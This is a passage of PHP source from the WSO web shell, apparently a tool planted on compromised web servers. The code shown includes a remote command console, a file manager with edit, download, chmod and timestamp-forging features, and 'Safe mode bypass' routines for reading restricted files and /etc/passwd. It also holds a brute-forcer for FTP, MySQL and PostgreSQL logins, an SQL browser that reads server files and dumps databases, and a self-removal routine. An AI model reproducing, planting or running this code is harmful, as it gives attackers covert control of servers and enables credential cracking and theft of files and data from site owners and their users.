 610            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
 611        else
 612            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
 613    }
 614    usort($files, "wsoCmp");
 615    usort($dirs, "wsoCmp");
 616    $files = array_merge($dirs, $files);
 617    $l = 0;
 618    foreach($files as $f) {
 619        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
 620            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
 621        $l = $l?0:1;
 622    }
 623    echo "<tr><td colspan=7> 
 624   <input type=hidden name=a value='FilesMan'> 
 625   <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> 
 626   <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> 
 627   <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
 628     if(class_exists('ZipArchive'))
 629         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
 630     if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
 631         echo "<option value='paste'>Paste / zip</option>";
 632     echo "</select>&nbsp;<input type='submit' value='>>'></td></tr></form></table></div>";
 633    wsoFooter();
 634 }
 635  
 636 function actionStringTools() {
 637    if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
 638     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
 639    if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
 640 
 641    if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
 642 
 643    if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
 644 
 645    $stringTools = array(
 646 
 647        'Base64 encode' => 'base64_encode',
 648        'Base64 decode' => 'base64_decode',
 649        'Url encode' => 'urlencode',
 650        'Url decode' => 'urldecode',
 651        'Full urlencode' => 'full_urlencode',
 652        'md5 hash' => 'md5',
 653        'sha1 hash' => 'sha1',
 654        'crypt' => 'crypt',
 655        'CRC32' => 'crc32',
 656        'ASCII to HEX' => 'ascii2hex',
 657        'HEX to ASCII' => 'hex2ascii',
 658        'HEX to DEC' => 'hexdec',
 659        'HEX to BIN' => 'hex2bin',
 660        'DEC to HEX' => 'dechex',
 661        'DEC to BIN' => 'decbin',
 662        'BIN to HEX' => 'binhex',
 663        'BIN to DEC' => 'bindec',
 664        'String to lower case' => 'strtolower',
 665        'String to upper case' => 'strtoupper',
 666        'Htmlspecialchars' => 'htmlspecialchars',
 667        'String length' => 'strlen',
 668    );
 669    if(isset($_POST['ajax'])) {
 670        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
 671        ob_start();
 672        if(in_array($_POST['p1'], $stringTools))
 673            echo $_POST['p1']($_POST['p2']);
 674        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'&#92;&#48;")."';\n";
 675        echo strlen($temp), "\n", $temp;
 676        exit;
 677    }
 678    wsoHeader();
 679    echo '<h1>String conversions</h1><div class=content>';
 680    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
 681        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
 682    echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
 683    foreach($stringTools as $k => $v)
 684        echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
 685        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
 686    if(!empty($_POST['p1'])) {
 687        if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
 688    }
 689    echo"</pre></div><br><h1>Search text in files:</h1><div class=content> 
 690       <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> 
 691           <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> 
 692           <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> 
 693           <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> 
 694           <tr><td></td><td><input type='submit' value='>>'></td></tr> 
 695           </table></form>";
 696  
 697    function wsoRecursiveGlob($path) {
 698        if(substr($path, -1) != '/')
 699            $path.='/';
 700        $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
 701        if(is_array($paths)&&@count($paths)) {
 702            foreach($paths as $item) {
 703                if(@is_dir($item)){
 704                    if($path!=$item)
 705                        wsoRecursiveGlob($item);
 706                } else {
 707                    if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
 708                        echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
 709                }
 710            }
 711        }
 712    }
 713    if(@$_POST['p3'])
 714        wsoRecursiveGlob($_POST['c']);
 715    echo "</div><br><h1>Search for hash:</h1><div class=content> 
 716       <form method='post' target='_blank' name='hf'> 
 717           <input type='text' name='hash' style='width:200px;'><br> 
 718           <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br> 
 719           <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br> 
 720           <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br> 
 721           <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> 
 722           <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br> 
 723       </form></div>";
 724    wsoFooter();
 725 }
 726  
 727 function actionFilesTools() {
 728    if( isset($_POST['p1']) )
 729        $_POST['p1'] = urldecode($_POST['p1']);
 730    if(@$_POST['p2']=='download') {
 731        if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
 732            ob_start("ob_gzhandler", 4096);
 733            header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
 734            if (function_exists("mime_content_type")) {
 735                $type = @mime_content_type($_POST['p1']);
 736                header("Content-Type: ".$type);
 737            }
 738            $fp = @fopen($_POST['p1'], "r");
 739            if($fp) {
 740                while(!@feof($fp))
 741                    echo @fread($fp, 1024);
 742                fclose($fp);
 743            }
 744        }exit;
 745    }
 746    if( @$_POST['p2'] == 'mkfile' ) {
 747        if(!file_exists($_POST['p1'])) {
 748            $fp = @fopen($_POST['p1'], 'w');
 749            if($fp) {
 750                $_POST['p2'] = "edit";
 751                fclose($fp);
 752            }
 753        }
 754    }
 755    wsoHeader();
 756    echo '<h1>File tools</h1><div class=content>';
 757    if( !file_exists(@$_POST['p1']) ) {
 758        echo 'File not exists';
 759        wsoFooter();
 760        return;
 761    }
 762    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
 763    if(!$uid) {
 764        $uid['name'] = @fileowner($_POST['p1']);
 765        $gid['name'] = @filegroup($_POST['p1']);
 766    } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
 767    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
 768    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
 769    if( empty($_POST['p2']) )
 770        $_POST['p2'] = 'view';
 771    if( is_file($_POST['p1']) )
 772        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
 773    else
 774        $m = array('Chmod', 'Rename', 'Touch');
 775    foreach($m as $v)
 776        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
 777    echo '<br><br>';
 778    switch($_POST['p2']) {
 779        case 'view':
 780            echo '<pre class=ml1>';
 781            $fp = @fopen($_POST['p1'], 'r');
 782            if($fp) {
 783                while( !@feof($fp) )
 784                    echo htmlspecialchars(@fread($fp, 1024));
 785                @fclose($fp);
 786            }
 787            echo '</pre>';
 788            break;
 789        case 'highlight':
 790            if( @is_readable($_POST['p1']) ) {
 791                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
 792                $code = @highlight_file($_POST['p1'],true);
 793                echo str_replace(array('<span ','></span>'), array('<font ','></font>'),$code).'</div>';
 794            }
 795            break;
 796        case 'chmod':
 797            if( !empty($_POST['p3']) ) {
 798                $perms = 0;
 799                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
 800                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
 801                if(!@chmod($_POST['p1'], $perms))
 802                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
 803            }
 804            clearstatcache();
 805            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
 806            break;
 807        case 'edit':
 808            if( !is_writable($_POST['p1'])) {
 809                echo 'File isn\'t writeable';
 810                break;
 811            }
 812            if( !empty($_POST['p3']) ) {
 813                $time = @filemtime($_POST['p1']);
 814                $_POST['p3'] = substr($_POST['p3'],1);
 815                $fp = @fopen($_POST['p1'],"w");
 816                if($fp) {
 817                    @fwrite($fp,$_POST['p3']);
 818                    @fclose($fp);
 819                    echo 'Saved!<br><script>p3_="";</script>';
 820                    @touch($_POST['p1'],$time,$time);
 821                }
 822            }
 823            echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
 824            $fp = @fopen($_POST['p1'], 'r');
 825            if($fp) {
 826                while( !@feof($fp) )
 827                    echo htmlspecialchars(@fread($fp, 1024));
 828                @fclose($fp);
 829            }
 830            echo '</textarea><input type=submit value=">>"></form>';
 831            break;
 832        case 'hexdump':
 833            $c = @file_get_contents($_POST['p1']);
 834            $n = 0;
 835            $h = array('00000000<br>','','');
 836            $len = strlen($c);
 837            for ($i=0; $i<$len; ++$i) {
 838                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
 839                switch ( ord($c[$i]) ) {
 840                    case 0:  $h[2] .= ' '; break;
 841                    case 9:  $h[2] .= ' '; break;
 842                    case 10: $h[2] .= ' '; break;
 843                    case 13: $h[2] .= ' '; break;
 844                    default: $h[2] .= $c[$i]; break;
 845                }
 846                $n++;
 847                if ($n == 32) {
 848                    $n = 0;
 849                    if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
 850                    $h[1] .= '<br>';
 851                    $h[2] .= "\n";
 852                }
 853            }
 854            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
 855            break;
 856        case 'rename':
 857            if( !empty($_POST['p3']) ) {
 858                if(!@rename($_POST['p1'], $_POST['p3']))
 859                    echo 'Can\'t rename!<br>';
 860                else
 861                    die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
 862            }
 863            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
 864            break;
 865        case 'touch':
 866            if( !empty($_POST['p3']) ) {
 867                $time = strtotime($_POST['p3']);
 868                if($time) {
 869                    if(!touch($_POST['p1'],$time,$time))
 870                        echo 'Fail!';
 871                    else
 872                        echo 'Touched!';
 873                } else echo 'Bad time format!';
 874            }
 875            clearstatcache();
 876            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
 877            break;
 878    }
 879    echo '</div>';
 880    wsoFooter();
 881 }
 882  
 883 function actionSafeMode() {
 884    $temp='';
 885    ob_start();
 886    switch($_POST['p1']) {
 887        case 1:
 888            $temp=@tempnam($test, 'cx');
 889            if(@copy("compress.zlib://".$_POST['p2'], $temp)){
 890                echo @file_get_contents($temp);
 891                unlink($temp);
 892            } else
 893                echo 'Sorry... Can\'t open file';
 894            break;
 895        case 2:
 896            $files = glob($_POST['p2'].'*');
 897            if( is_array($files) )
 898                foreach ($files as $filename)
 899                    echo $filename."\n";
 900            break;
 901        case 3:
 902            $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
 903            curl_exec($ch);
 904            break;
 905        case 4:
 906            ini_restore("safe_mode");
 907            ini_restore("open_basedir");
 908            include($_POST['p2']);
 909            break;
 910        case 5:
 911            for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
 912                $uid = @posix_getpwuid($_POST['p2']);
 913                if ($uid)
 914                    echo join(':',$uid)."\n";
 915            }
 916            break;
 917    }
 918    $temp = ob_get_clean();
 919    wsoHeader();
 920    echo '<h1>Safe mode bypass</h1><div class=content>';
 921    echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
 922    if($temp)
 923        echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
 924    echo '</div>';
 925    wsoFooter();
 926 }
 927  
 928 function actionConsole() {
 929    if(isset($_POST['ajax'])) {
 930        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
 931        ob_start();
 932        echo "document.cf.cmd.value='';\n";
 933        $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'&#92;&#48;"));
 934        if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))  {
 935            if(@chdir($match[1])) {
 936                $GLOBALS['cwd'] = @getcwd();
 937                echo "document.mf.c.value='".$GLOBALS['cwd']."';";
 938            }
 939        }
 940        echo "document.cf.output.value+='".$temp."';";
 941        echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
 942        $temp = ob_get_clean();
 943        echo strlen($temp), "\n", $temp;
 944        exit;
 945    }
 946    wsoHeader();
 947     echo "<script> 
 948 if(window.Event) window.captureEvents(Event.KEYDOWN);
 949 var cmds = new Array('');
 950 var cur = 0;
 951 function kp(e) {
 952   var n = (window.Event) ? e.which : e.keyCode;
 953   if(n == 38) {
 954       cur--;
 955       if(cur>=0)
 956           document.cf.cmd.value = cmds[cur];
 957       else
 958           cur++;
 959   } else if(n == 40) {
 960       cur++;
 961       if(cur < cmds.length)
 962           document.cf.cmd.value = cmds[cur];
 963       else
 964           cur--;
 965   }
 966 }
 967 function add(cmd) {
 968   cmds.pop();
 969   cmds.push(cmd);
 970   cmds.push('');
 971   cur = cmds.length-1;
 972 }
 973 </script>";
 974    echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
 975    foreach($GLOBALS['aliases'] as $n => $v) {
 976        if($v == '') {
 977            echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
 978            continue;
 979        }
 980        echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
 981    }
 982    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
 983        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
 984    echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
 985    if(!empty($_POST['p1'])) {
 986        echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
 987    }
 988    echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
 989    echo '</form></div><script>document.cf.cmd.focus();</script>';
 990    wsoFooter();
 991 }
 992  
 993 function actionLogout() {
 994    unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
 995    die('bye!');
 996 }
 997  
 998 function actionSelfRemove() {
 999  
1000    if($_POST['p1'] == 'yes')
1001        if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1002            die('Shell has been removed');
1003        else
1004            echo 'unlink error!';
1005     if($_POST['p1'] != 'yes')
1006         wsoHeader();
1007    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1008    wsoFooter();
1009 }
1010  
1011 function actionBruteforce() {
1012    wsoHeader();
1013    if( isset($_POST['proto']) ) {
1014        echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1015        if( $_POST['proto'] == 'ftp' ) {
1016            function bruteForce($ip,$port,$login,$pass) {
1017                $fp = @ftp_connect($ip, $port?$port:21);
1018                if(!$fp) return false;
1019                $res = @ftp_login($fp, $login, $pass);
1020                @ftp_close($fp);
1021                return $res;
1022            }
1023        } elseif( $_POST['proto'] == 'mysql' ) {
1024            function bruteForce($ip,$port,$login,$pass) {
1025                $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1026                @mysql_close($res);
1027                return $res;
1028            }
1029        } elseif( $_POST['proto'] == 'pgsql' ) {
1030            function bruteForce($ip,$port,$login,$pass) {
1031                $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1032                $res = @pg_connect($str);
1033                @pg_close($res);
1034                return $res;
1035            }
1036        }
1037        $success = 0;
1038        $attempts = 0;
1039        $server = explode(":", $_POST['server']);
1040        if($_POST['type'] == 1) {
1041            $temp = @file('/etc/passwd');
1042            if( is_array($temp) )
1043                foreach($temp as $line) {
1044                    $line = explode(":", $line);
1045                    ++$attempts;
1046                    if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1047                        $success++;
1048                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1049                    }
1050                    if(@$_POST['reverse']) {
1051                        $tmp = "";
1052                        for($i=strlen($line[0])-1; $i>=0; --$i)
1053                            $tmp .= $line[0][$i];
1054                        ++$attempts;
1055                        if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1056                            $success++;
1057                            echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1058                        }
1059                    }
1060                }
1061        } elseif($_POST['type'] == 2) {
1062            $temp = @file($_POST['dict']);
1063            if( is_array($temp) )
1064                foreach($temp as $line) {
1065                    $line = trim($line);
1066                    ++$attempts;
1067                    if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1068                        $success++;
1069                        echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1070                    }
1071                }
1072        }
1073        echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1074    }
1075    echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1076        .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1077        .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1078        .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1079        .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1080        .'<span>Server:port</span></td>'
1081        .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1082        .'<tr><td><span>Brute type</span></td>'
1083        .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1084        .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1085        .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1086        .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1087        .'<td><input type=text name=login value="root"></td></tr>'
1088        .'<tr><td><span>Dictionary</span></td>'
1089        .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1090        .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1091    echo '</div><br>';
1092    wsoFooter();
1093 }
1094  
1095 function actionSql() {
1096    class DbClass {
1097        var $type;
1098        var $link;
1099        var $res;
1100        function DbClass($type)    {
1101            $this->type = $type;
1102        }
1103        function connect($host, $user, $pass, $dbname){
1104            switch($this->type)  {
1105                case 'mysql':
1106                    if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1107                    break;
1108                case 'pgsql':
1109                    $host = explode(':', $host);
1110                    if(!$host[1]) $host[1]=5432;
1111                    if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1112                    break;
1113            }
1114            return false;
1115        }
1116        function selectdb($db) {
1117            switch($this->type)  {
1118                case 'mysql':
1119                    if (@mysql_select_db($db))return true;
1120                    break;
1121            }
1122            return false;
1123        }
1124        function query($str) {
1125            switch($this->type) {
1126                case 'mysql':
1127                    return $this->res = @mysql_query($str);
1128                    break;
1129                case 'pgsql':
1130                    return $this->res = @pg_query($this->link,$str);
1131                    break;
1132            }
1133            return false;
1134        }
1135        function fetch() {
1136            $res = func_num_args()?func_get_arg(0):$this->res;
1137            switch($this->type)  {
1138                case 'mysql':
1139                    return @mysql_fetch_assoc($res);
1140                    break;
1141                case 'pgsql':
1142                    return @pg_fetch_assoc($res);
1143                    break;
1144            }
1145            return false;
1146        }
1147        function listDbs() {
1148            switch($this->type)  {
1149                case 'mysql':
1150                    return $this->res = @mysql_list_dbs($this->link);
1151                break;
1152                case 'pgsql':
1153                    return $this->res = $this->query("SELECT datname FROM pg_database");
1154                break;
1155            }
1156            return false;
1157        }
1158        function listTables() {
1159            switch($this->type)  {
1160                case 'mysql':
1161                    return $this->res = $this->query('SHOW TABLES');
1162                break;
1163                case 'pgsql':
1164                    return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1165                break;
1166            }
1167            return false;
1168        }
1169        function error() {
1170            switch($this->type)  {
1171                case 'mysql':
1172                    return @mysql_error($this->link);
1173                break;
1174                case 'pgsql':
1175                    return @pg_last_error($this->link);
1176                break;
1177            }
1178            return false;
1179        }
1180        function setCharset($str) {
1181            switch($this->type)  {
1182                case 'mysql':
1183                    if(function_exists('mysql_set_charset'))
1184                        return @mysql_set_charset($str, $this->link);
1185                    else
1186                        $this->query('SET CHARSET '.$str);
1187                    break;
1188                case 'pgsql':
1189                    return @pg_set_client_encoding($this->link, $str);
1190                    break;
1191            }
1192            return false;
1193        }
1194        function loadFile($str) {
1195            switch($this->type)  {
1196                case 'mysql':
1197                    return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1198                break;
1199                case 'pgsql':
1200                    $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1201                    $r=array();
1202                    while($i=$this->fetch())
1203                        $r[] = $i['file'];
1204                    $this->query('drop table wso2');
1205                    return array('file'=>implode("\n",$r));
1206                break;
1207            }
1208            return false;
1209        }
1210        function dump($table) {
1211            switch($this->type)  {
1212                case 'mysql':
1213                    $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1214                    $create = mysql_fetch_array($res);
1215                    echo $create[1].";\n\n";
1216                    $this->query('SELECT * FROM `'.$table.'`');
1217                    while($item = $this->fetch()) {
1218                        $columns = array();
1219                        foreach($item as $k=>$v) {
1220                            $item[$k] = "'".@mysql_real_escape_string($v)."'";
1221                            $columns[] = "`".$k."`";
1222                        }
1223                    echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1224                    }
1225                break;
1226                case 'pgsql':
1227                    $this->query('SELECT * FROM '.$table);
1228                    while($item = $this->fetch()) {
1229                        $columns = array();
1230                        foreach($item as $k=>$v) {
1231                            $item[$k] = "'".addslashes($v)."'";
1232                            $columns[] = $k;
1233                        }
1234                    echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1235                    }
1236                break;
1237            }
1238            return false;
1239        }
1240    };
1241    $db = new DbClass($_POST['type']);
1242    if(@$_POST['p2']=='download') {
1243        ob_start("ob_gzhandler", 4096);
1244        $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1245        $db->selectdb($_POST['sql_base']);
1246        header("Content-Disposition: attachment; filename=dump.sql");
1247        header("Content-Type: text/plain");
1248        foreach($_POST['tbl'] as $v)
1249                $db->dump($v);
1250        exit;
1251    }
1252    wsoHeader();
1253    echo "
1254 <h1>Sql browser</h1><div class=content> 
1255 <form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr> 
1256 <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> 
1257 <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> 
1258 <td><select name='type'><option value='mysql' ";
1259 
1260     if(@$_POST['type']=='mysql')echo 'selected';
1261 
1262 echo ">MySql</option><option value='pgsql' ";
1263 
1264 if(@$_POST['type']=='pgsql')echo 'selected';
1265 
1266 echo ">PostgreSql</option></select></td> 
1267 <td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> 
1268 <td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> 
1269 <td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1270    $tmp = "<input type=text name=sql_base value=''>";
1271    if(isset($_POST['sql_host'])){
1272        if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1273            switch($_POST['charset']) {
